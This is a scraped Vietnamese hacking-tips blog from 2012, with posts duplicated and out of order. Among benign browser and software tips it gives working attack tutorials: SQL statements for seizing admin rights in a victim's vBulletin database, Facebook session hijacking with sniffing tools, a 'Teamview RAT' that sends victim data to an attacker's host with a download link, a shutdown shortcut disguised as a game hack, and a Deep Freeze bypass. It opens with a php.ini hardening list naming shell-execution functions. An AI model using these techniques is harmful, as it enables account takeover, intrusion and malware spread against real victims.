đầu tiên login dô root account
các bạn mở file "php.ini" trong pico editor
[ pico /usr/local/lib/php.ini ]
tìm "safe_mode"
[ Ctrl + W and type "safe_mode" ]
đổi Off thành On
[ "safe_mode = Off" to "safe_mode = On" ]
tìm "disabled_functions"
[ Ctrl + W and type "disabled_functions" ]
và add theo functions
[system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file, show_source]
thêm hàm này vào nữa Hàm: ini_set();
sau đó save lại
[ Ctrl + X then Y ]
retart lại Apache web server
[ /etc/init.d/httpd restart ]
cách 2
chmod và xet IP
drwxr-x--x 671 root wheel 16296 Aug 14 15:47 /home/
drwx--x--- 14 user nobody 760 Aug 17 08:10 /home/user
drwxr-xr-x 16 user user 1128 Aug 7 01:12 /home/user/public_html
thứ 3 xóa amdincp và modcp
3 cách trên k ai local dc đã thách Pro Xgr và GUG đó là FOr ML !!!! đến h Vẫn chưa ai Local dc
done. bây h hết sợ hack local rồi nhá )
chú ý nên backup php.ini trước khi bắt đầu.
Hiển thị các bài đăng có nhãn Thủ Thuật. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Thủ Thuật. Hiển thị tất cả bài đăng
Chủ Nhật, 16 tháng 12, 2012
Thứ Bảy, 10 tháng 11, 2012
Thứ Sáu, 9 tháng 11, 2012
Thủ thuật vui với firefox
Firefox là một trong những trình duyệt tốt nhất thế giới và có một số thủ thuật thú vị mà bạn có thể làm với trình duyệt này. Những thủ thuật này tương thích với hầu hết các phiên bản Firefox, mình đã thực hiện trên phiên bản Firefox 16
Đọc thêm »
Đọc thêm »
Tổng hợp 46 phím tắt hữu ích khi duyệt web
Các trình duyệt web phổ biến hiện nay như Firefox, Google Chrome, Internet Explorer, Safari hay Opera đều có một hệ thống các tổ hợp phím tắt giống nhau, giúp người sử dụng nhanh chóng thực hiện các thao tác và trải nghiệm khi duyệt web dễ dàng hơn. Danh sách các tổ hợp phím tắt trên tất cả các trình duyệt dưới đây sẽ được chia theo các chức năng cụ thể khác nhau.
Đọc thêm »
Thủ thuật tạo status độc cho Facebook
Hướng dẫn tạo status "ẩn" cho Facebook:
Rất đơn giản, bạn chỉ cần copy đoạn mã sau vào status và post lên wall:
Chúc bạn vui vẻ!@[0:0: ]
Thứ Năm, 8 tháng 11, 2012
Tạo Virus tắt máy tính "dọa" người dùng
Để thực hiện thao tác tắt máy tính tự động, bạn cần sử dụng lệnh Shutdown của Windows. Click chuột phải vào màn hình Desktop chọn New > Shortcut.

Nhấn Next.
Đặt tên cho Shortcut này sao cho người bạn của bạn chắc chắn sẽ bấm vào nó, ở đây tôi ví dụ là Hack Coins Vngunz cho nó mang tính chất lừa tình

Click Finish để kết thúc quá trình tạo Shortcut. Đến đây bạn cần thay đổi biểu tượng cho Shortcut vừa tạo.
Còn những bước sau đây là để change icon shortcut vừa tạo



thế là xong bắt đầu vào yahoo send shortcut vừa tạo cho cái tên bạn ghét
Lưu ý muốn ngừng trò đùa này, bạn cần mở cửa sổ Run ( Windows key + R) và gõ lệnh:
Shutdown –a
Say khi gõ lệnh, 1 cửa sổ Pop-up sẽ thông báo cho bạn biết lệnh đã được hủy bỏ.
Hoặc bạn có thể tạo ngay một Shortcut khác giống như Virus giả mạo kia để máy tính không tự động tắt nữa với lệnh:
Shutdown –a thay cho lệnh Shutdown –s –t 300 –c “Máy bạn đã nhiễm Virus”.
Lưu lại với Icon mà bạn thích.
Vậy là một người khách nào đó cố tình sử dụng máy bạn sẽ được một phen hoảng hốt khi máy tính tự động hiện một thông báo đáng sợ và tắt phụt sau vài giây.
Cửa sổ Create Shortcut hiện lên, bạn đánh lệnh Shutdown –s –t [khoảng thời gian] –c “một lời nhắn đe dọa tới người bạn muốn gửi”
Với chức năng các khóa:
-s : tắt máy tính.
-t xxx : tắt sau khoảng thời gian xxx giây.
-c “lời nhắn” : để lại lời nhắn trong dấu “ ” sau khi lệnh bắt đầu chạy.
Nhấn Next.
Đặt tên cho Shortcut này sao cho người bạn của bạn chắc chắn sẽ bấm vào nó, ở đây tôi ví dụ là Hack Coins Vngunz cho nó mang tính chất lừa tình
Click Finish để kết thúc quá trình tạo Shortcut. Đến đây bạn cần thay đổi biểu tượng cho Shortcut vừa tạo.
Còn những bước sau đây là để change icon shortcut vừa tạo
thế là xong bắt đầu vào yahoo send shortcut vừa tạo cho cái tên bạn ghét
Lưu ý muốn ngừng trò đùa này, bạn cần mở cửa sổ Run ( Windows key + R) và gõ lệnh:
Shutdown –a
Say khi gõ lệnh, 1 cửa sổ Pop-up sẽ thông báo cho bạn biết lệnh đã được hủy bỏ.
Hoặc bạn có thể tạo ngay một Shortcut khác giống như Virus giả mạo kia để máy tính không tự động tắt nữa với lệnh:
Shutdown –a thay cho lệnh Shutdown –s –t 300 –c “Máy bạn đã nhiễm Virus”.
Lưu lại với Icon mà bạn thích.
Vậy là một người khách nào đó cố tình sử dụng máy bạn sẽ được một phen hoảng hốt khi máy tính tự động hiện một thông báo đáng sợ và tắt phụt sau vài giây.
Hướng dẫn cách cấu hình để tăng tốc cho firefox
Nhược điểm của trình duyệt Mozilla Firefox là thời gian khởi động và tải trang khá chậm so với Google Chrome. Vấn đề này có thể được khắc phục bằng những thao tác cấu hình đơn giản sau đây.
Một trong những bước đầu tiên và quan trọng nhất chính là xoá lịch sử duyệt web. Qua thời gian dài sử dụng, lịch sử duyệt web chiếm dụng ngày càng nhiều tài nguyên của máy tính. Khi xoá nó đi, bạn còn có thể bảo mật được thông tin duyệt web riêng tư của mình.

Một thao tác khác là gỡ bỏ các phần mở rộng không sử dụng đến. Khi mở đến danh sách phần mở rộng này, có thể bạn sẽ bất ngờ tự hỏi không biết rằng mình đã cài đặt chúng khi nào.

Trên đây là hai thao tác rất cơ bản, tiếp theo ta sẽ cấu hình nâng cao cho Firefox. Để tránh những vấn đề phát sinh không mong muốn, bạn nên sao lưu lại tập tin cấu hình prefs.js nhằm sử dụng về sau nếu cần. Đầu tiên, bạn nhấn Windows + R để mở cửa sổ Run, dán lệnh %AppData% rồi Enter. Tiếp theo, bạn đi đến thư mục Mozilla\Firefox\Profiles\(…)\, đây chính là nơi chứa tập tin cấu hình prefs.js. Bạn chép tập tin đến một vị trí khác trên máy phòng khi có trục trặc, bạn chỉ cần chép đè tập tin vào thư mục gốc ban đầu.

Bây giờ, hãy bắt đầu cấu hình Firefox như một chuyên gia: gõ about:config trên thanh địa chỉ và xác nhận bạn muốn chỉnh sửa Firefox bằng cách nhấn nút “I’ll be careful, I promise!”.

Tiếp theo, bạn tìm đến các mục sau để thay đổi giá trị:

Sau các thay đổi này, bạn khởi động lại máy tính. Có thể bạn sẽ không cảm nhận ngay được sự khác biệt, nhưng sau một thời gian, tốc độ của trình duyệt sẽ được nâng cao rõ rệt.
Ngoài ra, bạn có thể sử dụng Speedyfox để tối ưu cơ sở dữ liệu và giải quyết các vấn đề của Firefox. Cuối cùng, nếu bạn là người dùng Windows 64-bit, hãy thử cài đặt WaterFox - dự án Firefox 64-bit của Mozilla.
Một trong những bước đầu tiên và quan trọng nhất chính là xoá lịch sử duyệt web. Qua thời gian dài sử dụng, lịch sử duyệt web chiếm dụng ngày càng nhiều tài nguyên của máy tính. Khi xoá nó đi, bạn còn có thể bảo mật được thông tin duyệt web riêng tư của mình.
Một thao tác khác là gỡ bỏ các phần mở rộng không sử dụng đến. Khi mở đến danh sách phần mở rộng này, có thể bạn sẽ bất ngờ tự hỏi không biết rằng mình đã cài đặt chúng khi nào.
Trên đây là hai thao tác rất cơ bản, tiếp theo ta sẽ cấu hình nâng cao cho Firefox. Để tránh những vấn đề phát sinh không mong muốn, bạn nên sao lưu lại tập tin cấu hình prefs.js nhằm sử dụng về sau nếu cần. Đầu tiên, bạn nhấn Windows + R để mở cửa sổ Run, dán lệnh %AppData% rồi Enter. Tiếp theo, bạn đi đến thư mục Mozilla\Firefox\Profiles\(…)\, đây chính là nơi chứa tập tin cấu hình prefs.js. Bạn chép tập tin đến một vị trí khác trên máy phòng khi có trục trặc, bạn chỉ cần chép đè tập tin vào thư mục gốc ban đầu.
Bây giờ, hãy bắt đầu cấu hình Firefox như một chuyên gia: gõ about:config trên thanh địa chỉ và xác nhận bạn muốn chỉnh sửa Firefox bằng cách nhấn nút “I’ll be careful, I promise!”.
Tiếp theo, bạn tìm đến các mục sau để thay đổi giá trị:
- network.http.max-persistent-connections-per-server: đặt giá trị bằng 8. Tăng số kết nối liên tục để tăng tốc độ tải ảnh.
- network.http.pipelining: chuyển thành true. Tăng số yêu cầu gửi đến máy chủ để tăng tốc độ tải trang.
- network.http.pipelining.maxrequests: đặt giá trị bằng 8.
- network.dns.disableIPv6: chuyển thành true. Không cho Firefox kết nối đến các máy chủ chưa được cấu hình.
Sau các thay đổi này, bạn khởi động lại máy tính. Có thể bạn sẽ không cảm nhận ngay được sự khác biệt, nhưng sau một thời gian, tốc độ của trình duyệt sẽ được nâng cao rõ rệt.
Ngoài ra, bạn có thể sử dụng Speedyfox để tối ưu cơ sở dữ liệu và giải quyết các vấn đề của Firefox. Cuối cùng, nếu bạn là người dùng Windows 64-bit, hãy thử cài đặt WaterFox - dự án Firefox 64-bit của Mozilla.
Tut Reg domain tại Matbao.vn
http://www.mediafire.com/?kczyrjy8n187b9dddow về xm là ok !!!
demo juncao.vn
lilbuno.vn
teenphuquoc.vn
chúc các bạn có domain.vn
show lun vua r` fuck lun domain vnw.cc
!!!
Thứ Tư, 7 tháng 11, 2012
TUT hướng dẫn chiếm quyền admin VBB trong data
Tình hình là bác ecpanel kêu làm cái tut này cho anh em newbie học hỏi
ở đây matrix sẻ hướng dẫn 3 cách cơ bản để chiếm quyền admin
cách 1: change pass admin trong data
cách 2: change adminpermissions
cách 3: forget pass admin
Yêu cầu:
Có được info data của victim bao gồm:
Code:
$config['Database']['dbname'] = 'forum'; $config['MasterServer']['servername'] = 'localhost'; $config['MasterServer']['username'] = 'root'; $config['MasterServer']['password'] = '123456';
Hiểu biết sơ về câu lệnh SQL
Đầu tiên ta tôi sẽ nói cho các bạn biết về các dạng mã hóa của một vài forum thông dụng hiện nay như:
Code:
1. phpBB : md5($pass) //ko dùng salt 2. VBB : md5(md5($pass).$salt) 3. IPB : md5(md5($salt).md5($pass))
Với
-$Pass là mật khẩu ban đầu.
-$salt là 3 kí tự ngẫu nhiên mà forum tạo ra. (Mục đích: cá nhân quá mật khẩu của member trong db).
OK băt đầu thôi:
Cách 1: change pass admin trong data
Việc đầu tiên ta cần làm là tạo 1 nick trong 4rum victim
Vi dụ nick là hacker pass: 123456
Sau đó connet vào data qua shell
Ta dung lệnh :
Code:
Select * from user
Với lệnh trên thì ta có thể xem dc tất cả user trên 4rum
Nếu 4rum victim có số lượng thành viện cở hơn 3k thì ta dung lệnh :
Code:
Select password , salt from user where username='hacker'
Ta dc
Code:
Pass md5 : 5cc70df698ca01c3adb396a08b4873ad Salt: ?`Y
Q: Tại sao lại phải select from user
A: Ta cần lấy pass mã hóa md5 + salt qua nick mới reg sau đó copy lưu lại.
Tips: bạn có thể lưu lại một số password đơn giản như: 123456, abcdef, 123abc để dễ dàng cho công việc hacking lần sau.
Q:Tiếp tục theo ta xác định ID của nick admin site victim. Nếu trong 4rum victim có nhiều admin ma ta ko bít admin nào có quyền superadmin hay rootadmin, hay admin đã thay đổi userid của rootadmin hay superadmin thì làm sao
A:Bay vào file config.php và tìm các dòng sau
Code:
$config['SpecialUsers']['canviewadminlog'] $config['SpecialUsers']['canpruneadminlog'] $config['SpecialUsers']['superadministrators']
Tìm xem userid của thằng rootadmin hay superadmin là báo nhiêu (Thưởng thì mặt đinh định là userid=1 là rootadmin)
Ta tiếp tục dùung lệnh
Code:
Select password , salt from user where userid=1
Lấy được pass md5 & salt
Vi dụ:
Code:
Pass md5 : eaf1672523371b7736282bbfc2c8b2ac Salt : 2/D
Tiếp ta dùng lệnh
Update cú pháp thì các bạn có thể tìm hiểu thêm trên google
Code:
Update user set password=’pass md5 của nick mới reg’ ,salt=’ salt của nick mới reg’ where userid=’userid của admin”
Câu lệnh hoàn chỉnh như sau:
Code:
Update user set password=’ 5cc70df698ca01c3adb396a08b4873ad’ ,salt=’?`Y’ where userid=’1”
5cc70df698ca01c3adb396a08b4873ad là pass md5 của nick hacker
?`Y là salt của nick hacker
1 là userid của thằng admin
Tác dụng của câu lệnh này là
Update pass của thằng admin thành pass của nick mình
ở đây nick hacker có pass là 123456
Để kiểm tra kết quả ta vào 4rum victim đăng nhập bằng nick của thằng admin với password là 123456
Cách 2: Thay phân quyền trong table administrator
ở cách 2 thì không dài và rồm rà như cách 1 .Ta cũng connet vào data victim
dùng lệnh
Code:
update user set usergroupid =’6’ where username=’hacker’
tác dung câu lệnh này là nâng quyền cho nick hacker vào group admin
với câu lệnh này nick hacker mới chỉ là admin bình thường … vẫn chưa có toàn quyền trên site victim.
ta tiếp tực dung lệnh
Code:
select * from administrator
với câu lệnh này ta xem dc các userid , adminpermissions, cssprefs còn những table khác ta ko quan tâm
ở đây lại chia ra thêm 2 cách nhỏ:
2.a) Dùng lệnh update
Code:
Update administrator set userid=’userid của nick hacker’ where userid=’userid của admin’
Vi dú userid của nick hacker là 5 và userid của nick admin là 1 ta dung lệnh như sau
Code:
Update administrator set userid=’5’ where userid=’1’
Thế là nick hacker đã là admin có toàn quyền
2.b) Dùng lệnh INSERT
ở đây ta có info của table administrator như sau
Code:
userid : 1 adminpermissions : 491516 navprefs : NULL cssprefs :vBulletin_3_CarbonFibre2' notes : NULL dismissednews: NULL languageid : 0
câu lệnh INSERT như sau
Code:
INSERT INTO `4rum`.`administrator` (`userid`, `adminpermissions`, `navprefs`, `cssprefs`, `notes`, `dismissednews`, `languageid`) VALUES ('5', '491516', NULL, ' vBulletin_3_CarbonFibre2', NULL, NULL, '0');
Phân tích câu lệnh
INSERT INTO `4rum`.`administrator` <== INSERT vào table administrator của database tên là 4rum.
Code:
( `userid` , `adminpermissions` , `navprefs` , `cssprefs` , `notes` , `dismissednews` , `languageid` ) VALUES ( '5', '2345', NULL , ' vBulletin_3_CarbonFibre2', NULL , NULL , '0' );
<== INSERT colum userid là 5 , adminpermissions là 2345 , cssprefs là vBulletin_3_CarbonFibre2'
Với câu lệnh này ta đã insert userid của nick hacker vào admin (có toàn quyền admin)
(Nếu bạn nào ko hiểu thì có thể tim hiểu thêm trên google)
Xong thử vào admincp của 4rum đăng nhập bằng nick hacker xem thế nào
Cách 3: Forget pass admin
Cách này thì đơn gian hơn 2 cách trên
Cách thức như sau
Vào 4rum victim đặng nhập bằng nick của admin …. Pass thì đánh đại đi
Khi đăng nhâp sai VBB sẽ thông báo và xuất hiện phần nhập mail và lấy lại password
http://victim/4rum/login.php?do=lostpw
nhập email của thằng admin vào rồi nhấp ok
sau đó vào data copy password mã hóa + sail
bỏ vào tool passwordpro
cho crack ở chế độ là số và ngồi đợi …
nếu bạn nào ko muốn đợi thì làm cách này
vào data
update mail của thẳng admin thành mail của mình
khi forget thì nhập mail của mình vào….
Sau khi forget xong vào mail lấy pass
Thứ Ba, 6 tháng 11, 2012
Addons firefox hữu ích cho anh em chơi UG
Một số addon firefox cho anh em chơi UG:
1. Thay đổi socks nhanh chóng với elite-proxy-switcher
http://adf.ly/ETerV
Tải ảnh gốc
- Bình thường để thay đổi socks, anh em hay vào Tools - Options - Advanced - Network - Setting. Rất là lâu phải không?
Giờ đây với elite-proxy-switcher, việc thay socks chỉ với 1 click. Như hình:
2. Hackbar - khai thác shop lỗi
http://adf.ly/ETet5
- Addon này giúp chúng ta dễ dàng hơn trong việc khai thác các site dính lỗi sql,...
Video demo hack shop bằng hackbar addons tại đây
Các bạn chịu khó tìm hiểu thêm nhé!
3. Tra cứu thông tin IP với asnumber
http://adf.ly/ETeuA
- Cung cấp nhiều thông tin hữu ích về nhà cung cấp internet (ISP) của mỗi website bạn ghé thăm.
Tải ảnh gốc
4. Xóa sạch cookies với betterprivacy
http://adf.ly/ETevO
Tải ảnh gốc
- Addon này sẽ giúp bạn xóa toàn bộ cookies, bao gồm cả flash cookies của website bạn ghé thăm trước đó.
5. Quản lý thông tin, mật khẩu với Lastpass password manager
http://adf.ly/ETexb
Tải ảnh gốc
- Có lẽ để quản lý mật khẩu và auto form anh em hay xài roboform. Nhưng qua quá trình sử dụng mình thấy addon này
rất đơn giản mà dễ xài, và có nhiều tiện ích hơn cả roboform. Mời anh em dùng thử.
6. Lưu bookmark với Xmarks-sync
http://adf.ly/ETeyH
Tải ảnh gốc
Trong quá trình lướt web chắc chắn có nhiều web hay anh em muốn lưu lại, và xmarks-sync chính là giải pháp tuyệt vời cho điều này.
7. Any WebRank Toolbar
http://cur.lv/6ros
giúp việc check shop mà tìm site ship ok hơn
1. Thay đổi socks nhanh chóng với elite-proxy-switcher
http://adf.ly/ETerV
Tải ảnh gốc
- Bình thường để thay đổi socks, anh em hay vào Tools - Options - Advanced - Network - Setting. Rất là lâu phải không?
Giờ đây với elite-proxy-switcher, việc thay socks chỉ với 1 click. Như hình:
2. Hackbar - khai thác shop lỗi
http://adf.ly/ETet5
- Addon này giúp chúng ta dễ dàng hơn trong việc khai thác các site dính lỗi sql,...
Video demo hack shop bằng hackbar addons tại đây
Các bạn chịu khó tìm hiểu thêm nhé!
3. Tra cứu thông tin IP với asnumber
http://adf.ly/ETeuA
- Cung cấp nhiều thông tin hữu ích về nhà cung cấp internet (ISP) của mỗi website bạn ghé thăm.
Tải ảnh gốc
4. Xóa sạch cookies với betterprivacy
http://adf.ly/ETevO
Tải ảnh gốc
- Addon này sẽ giúp bạn xóa toàn bộ cookies, bao gồm cả flash cookies của website bạn ghé thăm trước đó.
5. Quản lý thông tin, mật khẩu với Lastpass password manager
http://adf.ly/ETexb
Tải ảnh gốc
- Có lẽ để quản lý mật khẩu và auto form anh em hay xài roboform. Nhưng qua quá trình sử dụng mình thấy addon này
rất đơn giản mà dễ xài, và có nhiều tiện ích hơn cả roboform. Mời anh em dùng thử.
6. Lưu bookmark với Xmarks-sync
http://adf.ly/ETeyH
Tải ảnh gốc
Trong quá trình lướt web chắc chắn có nhiều web hay anh em muốn lưu lại, và xmarks-sync chính là giải pháp tuyệt vời cho điều này.
7. Any WebRank Toolbar
http://cur.lv/6ros
giúp việc check shop mà tìm site ship ok hơn
[TUT] Đánh Cắp Tài Khoản Facebook
Đầu tiên : Khái niệm (Trên lớp thầy cũng dạy phải học khái niệm trước . Biết thì mới thực hành được .)
Session Sidejacking là gì ?
Đây là kiểu tấn công thuộc họ man-in-middle attack, mục đích là nghe lén đường truyền giữa người dùng và các máy chủ dịch vụ bằng các công cụ sniff rồi đánh cắp các dữ liệu quan trọng liên quan tới phiên làm việc của người dùng, rồi phục dựng phiên làm việc này trên một máy tính thứ 3.
Session Sidejacking đặc biệt hữu hiệu và dễ thực hiện khi nhằm vào mục tiêu là các phiên truy cập trên môi trường web. Hướng tấn công này trong môi trường web và giao thức HTTP chủ yếu là nhằm vào việc đánh cắp session cookies -1- định danh người dùng, qua đó khôi phục phiên làm việc hiện thời của người dùng rồi sau đó người tấn công sẽ có các biện pháp tấn công sâu rộng hơn để chiếm được mật khẩu tài khoản của người dùng
Nói ngắn gọn dễ hiểu, ở một mức độ nào đó, là người tấn công sẽ dễ dàng chiếm tài khoản Facebook, gmail, yahoo của người dùng bằng HTTP Session Sidejacking
Bài viết này chủ yếu nói về cách thức tấn công HTTP Session Sidejacking . Tức hình thức tấn công Session Sidejacking nhắm vào việc đánh cắp session cookies và phục dựng là HTTP Session.
Đặc biệt: Phương thức tấn công Session Sidejacking trong bài viết này không cần phải có card mạng hỗ trợ chế độ Promiscuous ( chế độ hỗn độn ) -2- . Đây là một bước tiến bộ so với các công cụ tấn công tự động như Firesheep, hamster & ferret, khiến việc tấn công session Sidejacking trở nên dễ dàng thực hiện đối với tất cả các card mạng hiện có. Nói cách khác, ai cũng làm được
Phần 2 : thực hành
Hướng dẫn này không nhằm mục đích phá hoại . Mà chỉ mang tính chất tham khảo + câu view (title HOT)
Thấy dạo này tr ẻ trâ u manh động quá . Nói mà chả thấy làm nên cũng tut tiếc cho máu lửa xíu .
Xem xong video các bạn có nhìn thấy được cách phòng chống không ?
Mình muốn hỏi để xem các bạn rút ra dc kinh nghiệm gì khi xem video này
Nếu có thắc mắc liên hệ yahoo : ljz.spider
facebook.com/ljz
Email : ljz.spider@yahoo.com.vn
Link add-on : https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/
Link Script : http://www.mediafire.com/?9v6cift39ixn5c9
Link wireshark : http://www.mediafire.com/?729jc658ccm1jx9
link Cain & abel : http://www.mediafire.com/?c87vw9n3mz8nmra
link hướng dẫn txt :http://www.mediafire.com/view/?kb68j9syxbir7w9
Session Sidejacking là gì ?
Đây là kiểu tấn công thuộc họ man-in-middle attack, mục đích là nghe lén đường truyền giữa người dùng và các máy chủ dịch vụ bằng các công cụ sniff rồi đánh cắp các dữ liệu quan trọng liên quan tới phiên làm việc của người dùng, rồi phục dựng phiên làm việc này trên một máy tính thứ 3.
Session Sidejacking đặc biệt hữu hiệu và dễ thực hiện khi nhằm vào mục tiêu là các phiên truy cập trên môi trường web. Hướng tấn công này trong môi trường web và giao thức HTTP chủ yếu là nhằm vào việc đánh cắp session cookies -1- định danh người dùng, qua đó khôi phục phiên làm việc hiện thời của người dùng rồi sau đó người tấn công sẽ có các biện pháp tấn công sâu rộng hơn để chiếm được mật khẩu tài khoản của người dùng
Nói ngắn gọn dễ hiểu, ở một mức độ nào đó, là người tấn công sẽ dễ dàng chiếm tài khoản Facebook, gmail, yahoo của người dùng bằng HTTP Session Sidejacking
Bài viết này chủ yếu nói về cách thức tấn công HTTP Session Sidejacking . Tức hình thức tấn công Session Sidejacking nhắm vào việc đánh cắp session cookies và phục dựng là HTTP Session.
Đặc biệt: Phương thức tấn công Session Sidejacking trong bài viết này không cần phải có card mạng hỗ trợ chế độ Promiscuous ( chế độ hỗn độn ) -2- . Đây là một bước tiến bộ so với các công cụ tấn công tự động như Firesheep, hamster & ferret, khiến việc tấn công session Sidejacking trở nên dễ dàng thực hiện đối với tất cả các card mạng hiện có. Nói cách khác, ai cũng làm được
Phần 2 : thực hành
Hướng dẫn này không nhằm mục đích phá hoại . Mà chỉ mang tính chất tham khảo + câu view (title HOT)
Thấy dạo này tr ẻ trâ u manh động quá . Nói mà chả thấy làm nên cũng tut tiếc cho máu lửa xíu .
Xem xong video các bạn có nhìn thấy được cách phòng chống không ?
Mình muốn hỏi để xem các bạn rút ra dc kinh nghiệm gì khi xem video này
Nếu có thắc mắc liên hệ yahoo : ljz.spider
facebook.com/ljz
Email : ljz.spider@yahoo.com.vn
Link add-on : https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/
Link Script : http://www.mediafire.com/?9v6cift39ixn5c9
Link wireshark : http://www.mediafire.com/?729jc658ccm1jx9
link Cain & abel : http://www.mediafire.com/?c87vw9n3mz8nmra
link hướng dẫn txt :http://www.mediafire.com/view/?kb68j9syxbir7w9
Chủ Nhật, 4 tháng 11, 2012
Xâm Nhập Máy Tính = Teamview RAT
Hôm nay, cụ thể là sáng nay.
sau khi đã test thành công Phần mềm này thì Ljz đã làm cái hướng dẫn nhỏ cho anh em tham khảo phần mềm này !
vì sử dụng nó cũng rất đơn giản nên chẳng cần phải việt hóa làm gì !
Ai lo lắng phần mềm này nó có cái gì đó thì cứ ra net mà bug rồi gửi cho victim . song cứ về nhà mà chờ info !
kẻ thì làm trên máy nhà, không AV , mà cũng k lo ( k biết có đồng chí nào đang xem kẻ online k nữa )
Download Teamview Rat
http://www.mediafire.com/?a4m7s2gr4o2rx08
Pass: nbvn.us
Hướng dẫn cụ thể như sau :
1. không nói nhiềum ở đây mình dùng 000webhost để chứa file info log vào máy tính victim mà file rat gửi về ( các bạn có thể xài host khác. nhưng mình thấy xài 000webhost là đơn giản, nhanh, gọn )
2. khi đã cả 2 thứ là hosting và phần mềm TeamView Rat thì các bạn làm theo hình.
3. login vào hosting để lấy thông tin tạo file Rat
Chú Ý:
+ở ô CLAVE DE ACCESO : 123456 << 123456 ở đây là mật khẩu nhất định khi nhận được info victim từ file rat. chúng ta cứ để nguyên. chẳng cần thay đổi làm gì !
+password là password bạn đăng nhập vào hosting
4.sau khi đã nhập xong thông tin. giờ ta bug file Rat
Có được file Rat. việc tiếp theo là ta phải dụ victim click vào file này
( việc này do các bạn giải quyết nhé, đưa cho người iêu trước xem thế nào
5. Để xem info login máy tính victim đc gửi về từ file Rat, ta làm như sau :
==============================================
sau khi lgoin ta được !
Giờ có quyền điều khiển victim trong tay ! việc tiếp theo tùy vào các bạn !
vì nó có thể xâm nhập và lấy được dữ liệu từ ổ nhớ victim nên mình khuyên các bạn nên thận trọng. !
không nên dùng vào việc xấu nhé !
cái này mang tính chất tham khảo !
Khám phá những tính năng hữu dụng của Gmail
Có lẽ bạn đã nắm vững các tính năng cơ bản của dịch vụ Gmail như thiết lập danh bạ, gửi email... Tuy nhiên, Gmail còn nhiều công dụng hữu ích khác mà có thể bạn chưa biết...
1 click convert font Tiếng Việt sang Unicode trên Office 2010 hoàn hảo!
Trong chúng ta, hẳn đã có rất rất nhiều bạn từng gặp các trường hợp mà file Office (MS Word, MS Excel, MS Powerpoint) sử dụng các font Tiếng Việt cũ. Điều này sẽ gây ra một số rắc rối như lỗi font (nếu máy không cài sẵn font), không đồng nhất font (do hiện nay chủ yếu sử dụng font Unicode), hoặc đơn giản là muốn chuyển hết sang Unicode cho mượt mà, đẹp mắt mà lại thống nhất, đọc được trên tất cả các máy tính không cài sẵn font Tiếng Việt. Lãng khách chắc rằng hầu hết các bạn đều nghĩ tới giải pháp sử dụng Vietkey hay Unikey để chuyển đổi font chữ. Các bước làm này khá là kỳ công, và hoàn toàn không thích hợp đối với những file có dung lượng lớn, nhiều văn bản từ ngữ, và đặc biệt khó khăn đối với các file Excel với nhiều hàm, công thức, định dạng phức tạp,...
Đọc thêm »
Đọc thêm »
Hướng dẫn sử dụng một số tính năng của Winrar
WinRAR là một phần mềm rất phổ biến, gần như được cài đặt trong mọi máy vi tính. Nhưng liệu bạn có biết điều gì khiến phần mềm này nổi tiếng như vậy? Và bạn đã tận dụng hết những tiện ích mà nó mang lại ?
Đọc thêm »
Đọc thêm »
Thứ Bảy, 3 tháng 11, 2012
Mở băng DeepFreeze bằng tay
Với 1 máy đã được cài DeepFreeze. Nếu ở chế độ mở băng ta có thể thay đổi bình thường, gỡ bỏ chương trình... Với chế độ đóng băng ta không thể làm gì được. Chương trình DeepFreeze khởi động 1 Driver tên DeepFrz để đóng băng, muốn vô hiệu hóa đóng băng ta sẽ phải tiến hành vô hiệu hóa Driver đó từ HĐH khác.
- Trong các máy đóng băng ta dễ dàng tìm thấy Driver DeepFrz.sys trong thư mục %systemroot%\System32\Drivers và được khởi động trong Registry HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Cl ass\{4D36E967-E325-11CE-BFC1-08002BE10318}
Nghĩa là nó được Load cũng Driver PartMgr (Partition Manager) để quản lý ổ cứng. Vậy công việc của ta là sẽ không cho nó Load để quản lý ổ cứng của ta nữa.
- Khởi động 1 HĐH khác (Có thể vào WIN khác nếu máy nhiều WIN, có thể Boot từ CD/USB để vào DOS, XP PE, W7PE,...)
Minh họa dùng VC trong phần DOS PROGRAMS của đĩa Boot Hiren:
Nhớ Load NTFS4DOS nếu như WIN đang ở partiton NTFS. Và nhớ chọn ReadWrtie chứ đừng chọn ReadOnly nhé
Khi dùng VC Load NTFS4DOS thì các partiton FAT/FAT32 sẽ lần lượt từ C:... đến ổ CD. sau đó mới đến partion NTFS. Ví dụ như minh họa có 2 partiton đều NTFS nên sẽ là C: là ổ CD, D:, và E: là 2 partion NTFS. Ở đây WIN được để ở ổ C: vậy nghĩa là file DeepFrz.sys được để tại D:\Windows\System32\Drivers\DeepFrz.sys
Gõ:
D:
CD D:\Windows\System32\Drivers
REN DeepFrz.sys DeepFrz.luu
COPY PartMgr.sys DeepFrz.sys
Để sao lưu file driver của DeepFreeze và thay thế thành PartMgr. Sau đó khởi động lại. Như vậy không hề làm ảnh hưởng 1 chút gì đến máy. DeepFreeze khởi động Driver ĐÓNG BĂNG của nó lúc này có nội dung là PartMgr (Partition Manager) của WIN.
- Khởi động lại máy. Vào WIN bình thường DeepFreeze vẫn khởi động bình thường. Có điều DeepFrz không được LOAD nghĩa là nó không thể ĐÓNG BĂNG <=> tương đương là đang MỞ BĂNG.
- Khi mở băng thì ta có thể gỡ bỏ nó như được nói ở bên trên. Nhưng với những bản cũ thì sẽ gỡ bỏ luôn nhưng với nhưng bản sau này thì nó có kiểm tra lại DeepFrz chính vì thế bước trên ta đã sao lưu DeepFrz của nó.
- Tại WIN đang được mở băng với DeepFrz được thay thế. Ta khôi phục lại file DeepFrz đã lưu để nó nguyên trạng. Bằng cách Chọn Start Run gõ
cmd /c Copy /y %systemroot%\system32\drivers\DeepFrz.luu %systemroot%\system32\drivers\DeepFrz.sys
=> Đã có 1 WIN có DEEPFREEZE MỞ BĂNG. Tiến hành gỡ bỏ hoặc nâng cấp phiên bản bình thường.
Thêm cách vượt rào Deep Freeze (Mọi phiên bản)
Khi cài DF lên máy, thường tạo một file tên Persi0.sys (hoặc $Persi0.sys). File này lưu thông tin về mật khẩu, cấu hình DF và được bảo vệ trong môi trường Window thực.
Ý tưởng là thay thế file Persi0.sys (ở máy cài DF, có đặt mật khẩu bảo vệ) bởi file Persi0.sys (do mình tạo, chưa đặt mật khẩu). Hai file này được tạo cùng một phiên bản DeepFreeze.
